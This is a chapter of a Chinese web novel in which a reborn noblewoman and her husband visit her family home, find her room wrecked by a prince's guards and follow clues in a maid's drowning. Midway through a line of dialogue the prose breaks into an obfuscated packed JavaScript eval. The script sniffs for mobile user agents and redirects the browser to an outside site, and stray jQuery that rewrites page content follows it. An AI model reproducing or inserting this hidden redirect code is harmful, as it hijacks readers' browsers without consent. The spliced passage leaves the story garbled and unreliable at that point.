18. 阑风长雨(八)

作品:《重生换嫁给早死姐夫后

    江闻笛推开门,蒙着雨色的天光半泼入室,屋中家具陈列都覆上一层天青绡缎布罩,地上遍布脆裂瓷器。


    “这是?”她望向熟悉而又眼前的陌生场景,不觉驻足。


    见宴清束眉心死死绞在一起,江闻笛一把拉合上门,装作无事发生般:“我突然想到之前问父亲讨过几本游记,都是孤本,收在偏室书房里,想来世子会喜欢。”


    她走出两步,却被宴清束伸手牵住:“江家,连你的闺房都未曾保留吗?”


    江闻笛一时之间不知道该怎么回他。


    父亲母亲给她留了小院。


    他们都是平民出身,家风节俭。江府面积不大,每个院子更是小巧玲珑。平日里三餐饮食都是去母亲的院子,一家人合桌共食。


    父亲在晚膳时提过,她和江宜拂是江氏女,就算出嫁了,家里的院子也给她们留着。府里会继续聘请原先就负责打洗整理小院的几个外房丫头,无论什么时候,都能回来住。


    隔日,母亲就带她和江宜拂上街,裁买挑选了三十多尺布料,当作防尘布。


    里头现在盖着的天青色绞缎,便是她亲自挑选的。


    方才匆匆一瞥,她打眼就看见躺在门口的鹅黄汝兰茶杯瓷盏。这可是她第二喜爱的茶具,专门留在家里,等回来用的。


    今日回门,她还未见过画眉,而负责打整院子的几人,此刻正作为目击证人在外配合查案。


    眼下,她也不知道闺房里发生了什么。


    “我们先去偏室看看吧。”没办法,她只能选择性忽视了宴清束的疑问。


    正要走,一声:“画眉见过世子、世子妃。”传声而来。


    原来是画眉已经安抚过丝棋的情绪,正单手拄拐缩在檐下,小心翼翼地避开湿滑的地面,一步一跳挪过来。


    等到江闻笛近前,画眉不消发问,便主动解释道:“家主专程吩咐,世子妃的闺房暂不作清理。”


    江闻笛感受到五指被攥紧,身侧人偏头掩口冷咳两声,急道:“外面雨不见停,湿气太重,先进屋,先进屋。”


    才离开两日房中没什么灰尘,江闻笛没让拄拐的画眉动手,上前三两下扯开盖在桌椅上的绞缎,将宴清束按在座位上,让暮鸦取水煮沸,又遣雪翎去府外等候的马车里取套茶具来。


    抬手示意站立不便的画眉也坐下,江闻笛方才落座调笑道:“世子,你这口水喝的委实艰难啊。”


    “出门在外,难免遇上些突发情况。”宴清束缓过气儿,转眸望向画眉,笑问,“江大人为何做此安排?”


    画眉回道:“成婚当夜约莫亥正时分,我带着小慧几人给世子妃儿屋子盖布。刚弄完闺房,三皇子府中的侍卫趁家主夫人在外宴宾,强闯入府,查翻大小姐和世子妃的闺房,弄得屋中一片狼藉。”


    “世子妃的茶盘杯具、花瓶雕饰、奇巧物件全部被侍卫恶意摔毁。我们根本拦不住,有心想藏,能保留几样也好啊。但最后都被侍卫勒令交出,还专门寻来嬷嬷搜我们的身。”


    听画眉哽咽难言,江闻笛胸肺中怒火直烧,恨不得痛打南归霄一抬。


    “家主后面得知此事,便让我们不要擅动屋中物件,差人报官,请京兆伊赵大人上门根据地面瓷片,裁定损失。”


    江闻笛微微侧头,强忍怒气轻揉太阳穴,同时借阔袖遮挡住宴清束的方向,暗暗对画眉使去一个眼色。


    差不多了,再说就要到侍卫从她院中搜出个人和情笺了。


    她和没和画眉通过气儿,不知她认下了情笺,若是说漏嘴可就不妙了。


    画眉眼睛一眨,心领神会,没有再往下说。


    “哦?江大人此举,倒是颇为出人意料。”


    江闻笛放下手,见宴清束食指轻点桌面,眼底满是笑意。


    “定损需要赔偿多少?”她好奇问道。


    画眉摇头:“京兆伊赵大人说需要五个工作日,才能出第一版报价。”


    宴清束点点头,接过寒鸮递来的碧盏抿了一口,徐徐道:“我不慎碰碎的那只粉彩灯笼瓶……嗯,还有凤攸宁撞掉的那些瓷器碎片都还在吗?”


    “在,我记得燕管事给收去了杂物间里堆着,打算等下次翻修,铺在府中锦鲤池底充当装饰。”雪翎眼珠子咕噜一转,痞帅的脸上笑得张扬,“我明白您的意思了,这就回府一趟,把那几堆碎片全给搬来。”


    “刚好赵大人在,等他处理完落水案,就让他重新来评估一次损失,狠狠宰三皇子一笔。”


    宴清束平静无波地“嗯”了一声。雪翎抱拳领命出门。


    闻言,江闻笛喜悦中夹带少许诧异。


    能见南归霄遭殃她自是开怀,只是没想到被奉为“君子”的宴清束,居然还有坑人使坏的一面。


    许是察觉到她的目光,宴清束低叹解释:“早些时候,三表弟从我这借去了不少钱财,至今未曾归还。我也是讨债无门,不得已而为之。”


    再度被南归霄刷低了下限,江闻笛义愤填膺道:“坑!一定要坑他一大笔银子!”


    “只是……”她迟疑,“三皇子真的会赔偿吗?”


    “报官、定损、奏请、监察。环节完整,流程齐全,三表弟不得不赔。”宴清束略微停顿,“除非,他想站到御史、吏部两大职权部门的对立面。”


    江闻笛强行压住翘起的嘴角,见宴清束抬杯喝水,脑中闪过她方才说的调笑之辞,正色沉声道:“小慧三人说,书裙是为取水端茶盘,才来的院里。可屋中没有茶具,取水也不必舍弃距离母亲院子最近的小厨房,绕路来我院中吧。”


    说着,她转头问道:“暮鸦,你这个点怎么会来我的院子?救书裙时,可发现有什么异样?”


    “我查看过画眉的情况,去府门提回食盒,不知放于何处,寻不见您,便想来询问画眉。”暮鸦一板一眼答道,“我入水摸到书裙时,她已经死了。异常……”


    “不着急,你仔细想想。”江闻笛静待下文。


    约莫半株香的时间过了,暮鸦弯眼,不慎确定道:“她左手好像攥了一小块衣料,我凫水带她上岸时,可能掉在塘中。”


    话落,敲门声响起,赵大人圆亮的音色传入:“世子,世子妃,此案下官已初具眉目,烦请二位移步。”


    再度穿行过烟笼细雨,沿着抄手游廊来到江父主院正厅。


    进门后,江闻笛发现南归霄铁青着一张马脸,眸底的不满和不屑溢于言表。


    “三皇子殿下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512850|184047||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,你提之策,牵涉众多民生事项,下官需细细斟酌,一时难以决断。”江父收拢整理好桌案上放的数张稿纸,递出时婉言道。


    南归霄气闷不已,狠狠撇了眼赵大人:“我府中还有公务需要处理,先告辞。”


    “今日是小女的回门日,三皇子殿下您不再多留一会儿,过了午宴再走也不为迟?”


    “江府突逢命案,回门怎抵得过查案昭雪,何况本皇子留在府中实在妨碍赵大人办案。明早,我再过来接走拂儿。”


    “恕下官不送。”江父冷声不喜道。


    见父亲负气甩袖,江闻笛小碎步上前,提起茶壶往杯中添了水,双手端捧着递到江父眼前:“父亲喝口茶~”


    等江父接过,她转面向宴清束和赵大人,“离午膳还有一会,我先去叫小厨房端些点心过来。”


    退出正厅时,江闻笛听父亲叹道:“小笛,去陪陪你姐姐。”


    她淡淡回了个“好”字。


    ·


    往小厨房走了一趟,江闻笛停在江宜拂的丽阳院前,足足想了一刻钟,方提步进去。


    书裙死的蹊跷,她有种直觉,这和江宜拂脱不了干系。


    前日,书裙同她说的话到一半,被暮鸦打断了,她还没找到机会再问。


    留书裙在王府,除了不想她再与江宜拂那方有所接触意外,本就有保护之意。


    可她忘记留个话而给宴清束了,他估计以为书裙不慎被落下,便帮忙带到江府。


    当时在母亲的院子里,明面上只有看似什么都不知道的丝棋,江宜拂一直没有露面,不知所踪。


    父亲现在不知江宜拂的恶毒心思,只盼赵大人能有所发现,再结合她留的后手,应该能让父亲对江宜拂生出疑心。


    敲门进屋,江宜拂见她,放下手里的匣子,笑盈盈道:“妹妹,你不是在陪世子,怎么有空过来了?我这院子里乱糟糟的,全是灰。”


    江宜拂神态自若,丝毫不见一个时辰前,与她竹林对峙时的狠态。


    收回佩服的心,江闻笛面上也端出笑容。


    把江宜拂的闺房环视观察一圈,江闻笛敏锐发现这间屋子只是看上去乱。桌椅掀翻、屏风断开、帐幔碎裂……全是带不走的,用料一般的大件家具被损毁。


    她回道:“父亲、赵大人和世子在谈书裙的案子。本来我也想收收院子里的东西,再带一部分走,可很多东西都摔坏了。看了一圈,除了几本书,其他实在没有什么可以收拾的。刚好三皇子有公事在身,先回府了,我就索性过来给姐姐搭把手。”


    “妹妹有心了,我这刚好收拾完了。”江宜拂柔柔笑着,像是丝毫不在意南归霄提前离去。


    江闻笛视线落于江宜拂收拾出的两个箱子。箱子尚未来得及合盖,表层放了不少她珍藏的诸多良笔、名砚、乌墨……


    等等!江宜拂的宝贝们都没有带走,那她十箱嫁妆里,放的是些什么?


    “妹妹,不若我们去小厨房?”江宜拂挽住她的手臂,亲昵道,“说实话,我到现在都没有反应过来,我们姐妹已经嫁人了。下次一家人再聚用膳还不知道是什么时候。”


    “走吧,我们不是商量好了,要一起给中午的家宴添菜吗?”